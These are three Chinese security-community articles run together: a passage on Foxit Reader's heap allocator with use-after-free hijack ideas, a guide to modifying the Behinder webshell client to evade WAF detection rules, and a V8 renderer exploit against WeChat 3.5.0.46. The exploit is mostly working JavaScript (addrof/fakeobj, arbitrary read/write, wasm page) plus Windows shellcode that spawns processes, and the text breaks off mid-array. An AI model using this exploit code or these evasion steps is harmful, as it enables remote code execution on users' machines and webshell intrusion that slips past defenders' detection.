+--------+ | head | <====> | head | <====> ...
| 0x10 |------+ +--------+ +--------+
+--------+ | | chunk | | chunk |
| 0x18 |----+ | +--------+ +--------+
+--------+ | | | chunk | | chunk |
| ... | | | +--------+ +--------+
| | | ... | | ... |
| |
| +-> +--------+ +--------+
| | head | <====> | head | <====> ...
| +--------+ +--------+
| | chunk | | chunk |
| +--------+ +--------+
| | chunk | | chunk |
| +--------+ +--------+
| | ... | | ... |
|
+---> +--------+ +--------+
| head | <====> | head | <====> ...
+--------+ +--------+
| chunk | | chunk |
+--------+ +--------+
| chunk | | chunk |
+--------+ +--------+
| ... | | ... |
当通过 malloc 分配小于 0x400 size 的 chunk 时，直接从全局数组变量 `poolheadarray` 中取得对应 size
的池，然后取得它的 `nextfreechunk` 返回。若 `nextfreechunk` 不存在，则分配一个新的 chunk。
//...
if ( size > 0x400 )
return sub_1D92C70(a1, size);
idx = (size - 1) >> 3;
pool = poolheadarray[2 * idx];
if ( pool == pool->nextpool )
return sub_1D92D60(a1, (size - 1) >> 3);
v5 = pool->nextfreechunk;
++pool->ref;
v6 = *v5;
pool->nextfreechunk = *v5;
if ( !v6 )
{
sub_1D93260(pool, idx);
return v5;
}
//...
当通过 free 释放时，将 chunk 链接到 `nextfreechunk` 下。
v4 = *((a2 & 0xFFFFF000) + 4);
*a2 = v4;
v5 = pool->ref - 1;
*((a2 & 0xFFFFF000) + 4) = a2;
pool->ref = v5;
### 池的结构
池总是固定为 0x1000 大小，其前 0x20 字节保存了池的相关信息:
base +--------+---------------+----------+-----------+
| | nextfreechunk | prevpool | nextpool |
+--------+---------------+----------+-----------+
| | sizeidx | offset | maxoffset |
+--------+---------------+----------+-----------+
| | | | |
相关成员如下
* `nextfreechunk` ：
所有被释放掉的空闲 chunk 构成一个单向链表，`nextfreechunk` 指向链表头。分配内存时总是从 `nextfreechunk` 首先获取。
若 `nextfreechunk` 为空，则存在两种情况：所有 chunk 已经全部分配或者还有从未分配过的 chunk。
若所有 chunk 已经全部分配则会取下一个池，然后重复上述步骤。
* `prevpool` 和 `nextpool` ：
指向上一个池和下一个池。
* `sizeidx` ：
当前池对应的 chunk 大小的索引，chunk 的大小 8 字节对齐。
* `offset` 和 `maxoffset` ：
在一个池初次创建时，所有的 chunk 都是空闲状态，但是 `nextfreechunk` 并不会指向他们，只有所有已分配的 chunk 经历过 free
之后才能通过 `nextfreechunk` 进行之后的分配。而第一次的分配就需要 `offset` 和 `maxoffset` 来判断下一个应该分配的
chunk。
`offset` 指向下一个尚未分配过的 chunk，`maxoffset` 指向池的末尾。当 `offset < maxoffset`
时，说明仍有尚未进行过分配的 chunk，若此时 `nextfreechunk` 为空，则返回 `offset` 处指向的 chunk。
### free chunk 的结构
释放后的 chunk 会被插入到空闲链表中， `nextfreechunk` 将指向该 chunk，而 `nextfreechunk` 原来所指向的
chunk 将放入该 chunk 中，其结构图如下。
+---------------+--------+--------+--------+
| nextfreechunk | | | |
+---------------+--------+--------+--------+
| | | | |
## 漏洞利用
通过上述对 Foxit Reader 内存管理的分析，我们会有一些可能存在的漏洞利用的想法。
由于当前版本的 Foxit Reader 没有开启 CFG 机制，所以我们将很容易通过劫持虚表之类的方法劫持控制流从而实现任意代码执行。
Foxit Reader 的堆分配器主要通过一个空闲链表分配和释放内存，该空闲链表是一个单向链表，并且缺少对链表完整性的检验，因此如果我们有机会劫持
`nextfreechunk` 指针，我们将有机会操纵任意的内存块。
针对这种情况，我们可能需要有一个信息泄露和一个越界写漏洞，通过越界写覆盖下一个 chunk 的 `nextfreechunk`
为我们想要的地址，然后进行后续利用。
并且不止于此，由于 `nextfreechunk` 通常与 C++ 对象的虚表指针处在同一位置，所以当存在一个 UAF
漏洞，并且在释放后调用虚函数时，我们还有机会直接劫持控制流。
例如当前存在如下内存布局：
| | | | |
+----------+----------+----------+----------+ <- free chunk
| 0 | AAAAAAAA | AAAAAAAA | AAAAAAAA |
+----------+----------+----------+----------+ <- victim obj
| vtb | | | |
+----------+----------+----------+----------+
| | | | |
其中 free chunk 的第一个成员指向 0，表示它是空闲链表的最后一个 chunk。
victim obj 为 C++ 对象，其第一个成员为虚表指针。
若 victim obj 存在 uaf 漏洞，在释放后，其第一个成员指向 free chunk。
| | | | |
+-> +----------+----------+----------+----------+ <- free chunk
| | 0 | AAAAAAAA | AAAAAAAA | AAAAAAAA |
| +----------+----------+----------+----------+ <- victim obj
+-- | nextfree | | | |
+----------+----------+----------+----------+
| | | | |
此后在调用虚函数 `obj.vtb->field_4()` 时，就会执行到我们提前在内存中布局的地址 `0x41414141` 处。
## 总结
Foxit Reader 实现的这套堆分配器在面对涉及大量的小块内存的对象申请与释放时将会有很高的效率，这可能也是 Foxit Reader
在很多方面的性能超过 Adobe Reader 的原因之一。然而这套堆分配器的特点也为漏洞利用提供了一些可能性。
这篇文章分享的漏洞利用思路还不太成熟，真正达到任意代码执行的目的事实上也十分困难。因为实际上 Foxit Reader 的 JS
引擎并没有使用这套堆分配器，尽管这样的思路不需要很复杂的内存布局，但是如果无法通过 JS
或类似的方式操纵内存，仍然很难将内存布局成预期的效果。同样的原因也使信息泄露比较困难，然而信息泄露对于这两种思路又是十分必要的。另外，由于空闲链表是一条单向链表，所以需要保证指针的合法性或者置0，否则可能造成崩溃，这也给利用增加了难度。
* * * | 社区文章 |
# 冰蝎，从入门到魔改
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://weixin.sogou.com/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgS4BDNlCLqugqJQMAqh0ziDmFTLEr6dE9QVqXa8Fplpd9sCfMdFB1JFG0F4g-A8xppk_cBtKPdt1A_0YUwVE9LrIVAxHgtUxENpc90Tvu_KL8vLyPkW4VlhvyQGEIG7IE7QC0ntwoN7EW9XjnCZLZ9RBycLXCnUfhz2JiqP5NlzXeYlgxICcdahcqMy_upkHFA0yhg_La9CTZA0baaFTHxufFcvUoAZZH7Q..&type=2&query=%E5%86%B0%E8%9D%8E%EF%BC%8C%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E9%AD%94%E6%94%B9&token=36AADB1F73046EAA6F6AC482CC19B7C57035F17E5F27A478&k=20&h=E](https://weixin.sogou.com/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgS4BDNlCLqugqJQMAqh0ziDmFTLEr6dE9QVqXa8Fplpd9sCfMdFB1JFG0F4g-A8xppk_cBtKPdt1A_0YUwVE9LrIVAxHgtUxENpc90Tvu_KL8vLyPkW4VlhvyQGEIG7IE7QC0ntwoN7EW9XjnCZLZ9RBycLXCnUfhz2JiqP5NlzXeYlgxICcdahcqMy_upkHFA0yhg_La9CTZA0baaFTHxufFcvUoAZZH7Q..&type=2&query=%E5%86%B0%E8%9D%8E%EF%BC%8C%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E9%AD%94%E6%94%B9&token=36AADB1F73046EAA6F6AC482CC19B7C57035F17E5F27A478&k=20&h=E)
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 什么是冰蝎？
“冰蝎”是一个动态二进制加密网站管理客户端。在实战中，第一代webshell管理工具”菜刀”的流量特征非常明显，很容易就被安全设备检测到。基于流量加密的webshell变得越来越多，”冰蝎”在此应运而生。
“冰蝎”客户端基于JAVA，所以可以跨平台使用，最新版本为v2.0.1，兼容性较之前的版本有较大提升。主要功能为：基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等，功能非常强大。
## 0x02 加密原理
我们以PHP版本为例，”冰蝎”在服务端支持open_ssl时，使用AES加密算法，密钥长度16位，也可称为AES-16。此在软件及硬件(英特尔处理器的AES指令集包含六条指令)上都能快速地加解密，内存需求低，非常适合流量加密。
加密流程大致如下图所示：
首先客户端以Get形式发起带密码的请求。
服务端产生随机密钥，将密钥写入Session并将密钥返回客户端。
客户端获取密钥后，将payload用AES算法加密，用POST形式发送请求。
服务端收到请求，用Session中的密钥解密请求的Body部分，之后执行Payload，将直接结果返回到客户端。
客户端获取返回结果，显示到UI界面上。
我们看到在图中，”冰蝎”在执行Payload之后的返回，并没有显示加密，这点我们可以从自带的webshell中看出。
这个问题需要解密一下”冰蝎”的流量，才能知道答案。
## 0x03 通信过程
我们用wireshark来抓包看下”冰蝎”通信过程：
从抓包结果上粗略来看，加密效果是不错的，全程基本没有可读的执行代码。
我们用服务端返回的密钥，对客户端发送的报文内容进行解密。
解密结果为如下代码：
我们发现核心内容只是一个简单的JSON格式的success的返回，但是会将结果使用AES包装一层加密，所以我们看到webshell中没有加密，而流量却是加密的。
## 0x04 时过境迁
攻防技术一直都在不断发展的，要想保证攻防的持续有效，就需要不断地更新自我。”冰蝎”的最新版本v2.0.1，在发布于2019.2之后就没有进行过更新。而各大厂商的检测系统及WAF均已经对其特征进行分析并加入规则。
各路分析其流量规则的文章也层出不穷。
原版”冰蝎”已经不能满足攻防对战的要求了，这时我们需要自己动手。
## 0x05 魔改准备
首先用JD-GUI等反编译工具，反编译JAR包获得源码。可以从中可以看到UI文件引入的包名看到，”冰蝎”使用了SWT框架作为UI。
既然这样我们直接用Eclipse安装WindowsBuilder，来直接创建SWT项目。
**安装WindowsBuilder**
在Eclipse的Marketplace里搜索WindowsBuilder，点击Install即可安装。
之后我们直接创建基于SWT项目，即可避免因swt包缺失导致的报错问题。
我们将反编译之后的源码和JAR包导入项目，在通过搜索源码和修复报错（会有一大波报错等待你修复，可以多种反编译工具对比结果来修改）等方式尝试将源码跑起来。
最终我们终于成功跑起来了反编译之后的代码。
可以看到项目结构比较简单清晰，主要逻辑都在net包下，Main.java为程序入口。这里简单介绍下各个模块代码的作用：
**出于对原作者的瑞思拜，不会放出任何项目文件。**
## 0x06 特征擦除
经过对网上多篇对”冰蝎”特征的资料参考，总结出几条特征并将其特征给予修改擦除。以PHP版本为例，其他语言版本异曲同工。
### **1.密钥交换时的URL参数**
首当其冲的就是密钥交换时的参数，用GET请求方式，默认webshell的密码为pass，并且参数值为3位随机数字。
从webshell上看，参数值的随机数字并没有任何实际作用：
客户端代码上看也只是随机数：
我们来看下一般对此情况的检测规则：
\\.(php|jsp|asp|aspx)\?(\w){1,10}=\d{2,3} HTTP/1.1
该规则可以匹配1-10位密码的webshell，并且参数值为2-3位的数字。
**修改思路：**
增加随机数量的随机参数和随机值（随机值不为全数字），并且密码参数不能固定为第一个。
**修改后的效果：**
### **2.header中的Content-Type**
默认在header中的Content-type字段，在一般情况下的GET形式访问是没有该字段的，只有POST形式的访问才会有。但”冰蝎”不论是GET形式还是POST形式的访问均包含此字段。此处露出了较大破绽，而且该字段的大小写有点问题，所以基于这个规则基本可以秒杀。
我们来看下这块相关的的代码：
ShellService代表一个Shell服务，在其构造函数中31行判断了，如果类型是php则在header中加入Content-type头。但在35行的getKeyAndCookie向服务端发送GET请求获取密钥时，也将此header头带入其中，所以发送GET请求包时也会携带此参数。
**修改思路：**
GET形式访问时在header中去掉此字段，POST形式访问时将值改为Content-Type值改为”text/html;charset=utf-8″以规避安全检测（值也可以不改）。
**修改后的效果：**
GET请求：
POST请求：
### **3.header中的User-Agent**
User-Agent是指用户代理，会包含浏览器和操作系统等信息标志。在”冰蝎”的早期版本存在User-Agent特例化问题，最新版本已经解决了这个问题。解决方案是：每个shell连接会从17个内置的UA里随机选择一个。
来看下这部分的JAVA代码：
可以看到是随机从常量Constants.userAgents中取了一个值。
这块的问题是UA包含的浏览器版本比较旧，比如：Chrome/14.0.835.163是2011年发布的版本，Firefox/6.0也是2011年的版本。这种浏览器基本很少人使用，所以特征较为明显，可以作为规则参考。
**修改思路：**
使用较新版本的常见浏览器UA来替换内置的旧的UA常量。
**修改后的效果：**
2020年发布的Firefox 75.0：
2019年11月发布的Chrome 78.0.3904.108：
### **4.header中的Accept**
在请求header中的Accept字段默认会是一个比较奇怪的值，此值在GET形式和POST形式的请求中均存在。而在正常的浏览器或其他设备访问的报文中Accept的值不会是这样的，所以此处也可以作为一个强力有效的规则检测依据。
GET请求：
POST请求：
此处产生的原因是JAVA的HTTPURLConnection库（”冰蝎”使用的HTTP通信库）在没有设置Accept值时会自动设置该值作为默认值，而源码中默认并没有对Accept进行处理。
**修改思路：**
修改请求header中的Accept的值。
**修改后的效果：**
GET请求：
POST请求：
### **5.二次密钥获取**
在”冰蝎”的默认流量中，会有两次通过GET形式的请求获取密钥的过程，这点比较奇怪。
此处也可作为一个检测点。
我们来看下代码实现：
这一步是将密钥存入rawkey_1变量中。
再次获取的密钥存到rawkey_2变量中，之后rawkey_1和rawkey_2进行了异或操作，通过异或结果来判断，从而结束循环条件，最多尝试获取10次密钥。实话说这块代码没太看出来作用，实际是大部分情况2次就OK了，3次获取密钥的情况都不太多。个人感觉这块是为了校验获取到的密钥是否可用以及控制获取密钥的次数。
**修改思路：**
删掉多次获取密钥的过程，可以改成一次获取密钥。或者直接把密钥写到webshell里，省去获取密钥的过程。
**修改后的效果：**
### **6.response中返回密钥**
在获取密钥时，密钥返回是直接以16位字符的形式返回到客户端。这时会有比较大的破绽，我们来看下常用的检测规则：
\r\n\r\n[a-z0-9]{16}$
和
Content-Length: 16
检测内容是：以两个\r\n完整换行加上16位字母小写+数字组合为结尾，再配合Content-Length:16 为规则一起检测。
我们来看下客户端代码对于密钥的匹配规则：
源码只匹配了16位的字母a-f大小写+数字，hah~ 这是因为啥呢？？？
原因在”冰蝎”默认自带的webshell里：
因为webshell生成的密码算法为md5，md5输出结果显示是16进制，所以只有0-9a-f。
**修改思路：**
GET形式访问时，可以加入一些混淆的返回内容，或者将密钥变型。
**修改后的效果：**
可以先从视觉效果上隐藏起来：
流量侧：
这里只是简单的加了一些内容作为演示，实战时可以根据情况混淆。
### **7.header中的Cookie**
因为”冰蝎”默认自带的webshell中的key在将密钥返回客户端后，会将密钥保存在Session中。而SessionId在第一次客户端请求时作为Cookie发送给了客户端，所以Cookie也是作为我们一个重要检查点。
Cookie中的问题是”path=/”这部分。在访问服务器时，服务端将Cookie以Set-Cookie的response头中的形式返回，其中Path是该Cookie的应用路径。
举个例子：
Cookie1; Path=/
Cookie2; Path=/admin/
当浏览器访问网站 “/” 路径时，只会携带Cookie1。当访问 “/admin/”路径时，会同时携带Cookie1和Cookie2。
在正常浏览器访问下，path是不会作为Cookie本身的一部分发送到服务端的。
来看下客户端代码：
此处将服务端返回的Cookie所有字符都在客户端存储起来，当客户端发送请求时全部将这些字符作为Cookie发送出去。
**修改思路：**
将发送请求中Cookie的Path字段去掉。
**修改后的效果：**
## 0x07 总结
在实际检测中，单一的规则检测对”冰蝎”的误报率会比较高，一些比较明显的特征相互结合使用，会有事半功倍的效果。通过魔改程序也只能在一定时间内绕过安全设备的检测。真正想要持续有效必须不断更新，不断学习，在这攻防的浪潮中砥砺前行。
安全路漫漫，与君共勉。 | 社区文章 |
**作者：lxraa@识链实验室**
# 前言
由于 **无法绕过沙箱** ，该漏洞已被忽略。
谷歌在V8相关漏洞修复一段时间后，会公布（<https://bugs.chromium.org/>）漏洞的poc，有些漏洞有exp。但是公布的exp一般是存在漏洞的最后一个版本，由于不同版本V8的数据结构有变化，造成
**堆布局不同** ，公布的exp在 **非实验环境往往不能直接使用**
，本文以最新版微信远程命令执行为例介绍了从exp到实际环境利用脚本的构造过程中可能存在的问题及解决方案。
# 调试环境
微信3.5.0.46
UA：Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/81.0.4044.138 Safari/537.36 NetType/WIFI
MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6305002e)
V8：8.1.307.32 32位（由UA判断，不一定准确，不过不知道准确版本也能调试）
# EXP
poc2.html
<html>
<head>
</head>
<body>
exp
<br>
</body>
<script>
function print(text){
alert(text+"<br>");
}
cvt_buf = new ArrayBuffer(8);
cvt_f64a = new Float64Array(cvt_buf);
cvt_u64a = new BigUint64Array(cvt_buf);
cvt_u32a = new Uint32Array(cvt_buf);
function ftoi(f) { // float -> bigint
cvt_f64a[0] = f;
return cvt_u64a[0];
}
function itof(i) { // bigint -> float
cvt_u64a[0] = i;
return cvt_f64a[0];
}
function lower(i) {
return Number(i % (2n**32n));
}
function upper(i) {
return Number(i / (2n**32n));
}
function pair(h,l) {
return BigInt(h) * (2n**32n) + BigInt(l);
}
// todo
function leak_array_map(arg_true, obj,flag) {
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31; // Range(0,0); is: -1
let arr = new Array(3+30*(1+confused));
arr[0] = 1e64; // make sure arr is of type double
arr[1] = 2e64;
let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();
iter.next();
iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();
//v0应该是arr2最后一个元素
let v0 = iter.next();
let v1 = iter.next();
return [v0.value, v1.value, arr2];
}
function leak_addr_helper(arg_true, obj,flag) {
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31;
let arr = new Array(3+30*(1+confused));
arr[0] = 0.5;
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]={};
arr2[1] = obj;
arr2[0] = 0x1337;
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();iter.next();
let v1 = iter.next().value;
return v1;
}
function fake_obj_helper(arg_true, val,flag) {
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31;
let arr = new Array(3+30*(1+confused));
arr[0] = 0; //smi和obj的堆布局有不同，这里不要动
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0;
arr2[0] = val;
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();
iter.next();
//v0应该是arr2的长度，即5
let v0 = iter.next();
let v1 = iter.next();
return [v0.value,v1.value];
}
print("start");
let obj = new Array(128);
for (i=0; i < 3000; i+=1) leak_addr_helper(true,obj,false);
alert("jit1");
let arr = new Array(128);
for (i=0; i < 3000; i+=1){
leak_array_map(true,arr,false);
}
print("jit2");
for (i=0; i < 10**4; i+=1) fake_obj_helper(true,2.567347528655259e-289,false);
fake_obj_helper(true,1.2132797677859895e-279,true);
alert("end of jit optimization");
var res = leak_array_map(true,arr,true);
let array_map_leak = res[1];
print("anchor data = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]);
print("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | " +res[1]);
function addrof(obj) {
let f = leak_addr_helper(true, obj,true);
let n = ftoi(f);
let u = upper(n);
let l = lower(n);
if (l == (0x1337 << 1)) print("[*]lower data match");
return u;
}
function fakeobj(addr) {
// given a tagged, compressed pointer, return the fake object at that place
let f = itof(pair(addr,addr));
let res = fake_obj_helper(true,f,true);
print("[*]res[0]:"+res[0])
return res[1];
}
let foo_arr = [0.0, 1.1, 2.2, 3.3, 4.4];
let foo_content_addr = addrof(foo_arr) + 32;
print("[*] addr of foo_arr:"+foo_content_addr.toString(16));
let rw_arr = [itof(pair(0x13361336,0x13361336)),1.1,0.0,array_map_leak,60.0,0.0];
let rw_arr_addr = addrof(rw_arr);
print("[*] array_map_leak:"+ftoi(array_map_leak).toString(16));
let rw_arr_content_addr = rw_arr_addr - 0x38;
print("[*] rw_arr_content_addr:"+rw_arr_content_addr.toString(16));
let r = fakeobj(rw_arr_content_addr+0x20);
function read64(addr) {
// print("addr:0x"+addr.toString(16));
// rw_arr[4] = itof(pair(50, addr-8));
rw_arr[4] = itof(pair(50, addr-8));;
return ftoi(r[0]);
}
function write64(addr,data){
rw_arr[4] = itof(pair(50, addr-8));
r[0] = itof(data);
}
print("before alloc wasm");
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;
print("after alloc wasm");
let wasm_instance_addr = addrof(wasmInstance);
print("[*] wasm_instance_addr 0x" + wasm_instance_addr.toString(16));
// winexec calc.exe
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50, 0x68,0x2e,0x65,0x78,0x65, 0x68,0x63,0x61,0x6c,0x63, 0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50, 0x68, 46, 101, 120, 101, 0x68, 99, 97, 108, 99, 0x68 ,109, 51, 50, 92, 0x68, 121, 115 ,116, 101, 0x68, 119, 115, 92, 83, 0x68,105, 110, 100, 111, 0x68,67,58,92,87, 0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
// createProcessA
// var shellcode = [
// 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x48,0x10,0x31,0xdb,0x8b,0x59,0x3c,0x01,0xcb,0x8b,0x5b,0x78,0x01,0xcb,0x8b,0x73,0x20,0x01,0xce,0x31,0xd2,0x42,0xad,0x01,0xc8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x73,0x1c,0x01,0xce,0x8b,0x14,0x96,0x01,0xca,0x89,0xd6,0x89,0xcf,0x31,0xdb,0x68,0x79,0x41,0x41,0x41,0x66,0x89,0x5c,0x24,0x01,0x68,0x65,0x6d,0x6f,0x72,0x68,0x65,0x72,0x6f,0x4d,0x68,0x52,0x74,0x6c,0x5a,0x54,0x51,0xff,0xd2,0x83,0xc4,0x10,0x31,0xc9,0x89,0xca,0xb2,0x54,0x51,0x83,0xec,0x54,0x8d,0x0c,0x24,0x51,0x52,0x51,0xff,0xd0,0x59,0x31,0xd2,0x68,0x73,0x41,0x42,0x42,0x66,0x89,0x54,0x24,0x02,0x68,0x6f,0x63,0x65,0x73,0x68,0x74,0x65,0x50,0x72,0x68,0x43,0x72,0x65,0x61,0x8d,0x14,0x24,0x51,0x52,0x57,0xff,0xd6,0x59,0x83,0xc4,0x10,0x31,0xdb,0x68,0x65,0x78,0x65,0x41,0x88,0x5c,0x24,0x03,0x68,0x63,0x6d,0x64,0x2e,0x8d,0x1c,0x24,0x31,0xd2,0xb2,0x44,0x89,0x11,0x8d,0x51,0x44,0x56,0x31,0xf6,0x52,0x51,0x56,0x56,0x56,0x56,0x56,0x56,0x53,0x56,0xff,0xd0,0x5e,0x83,0xc4,0x08,0x31,0xdb,0x68,0x65,0x73,0x73,0x41,0x88,0x5c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x8d,0x1c,0x24,0x53,0x57,0xff,0xd6,0x31,0xc9,0x51,0xff,0xd0
// ];
// calc
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50, 0x68,0x2e,0x65,0x78,0x65, 0x68,0x63,0x61,0x6c,0x63, 0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
//shellexecutea calc.exe
// var shellcode = [
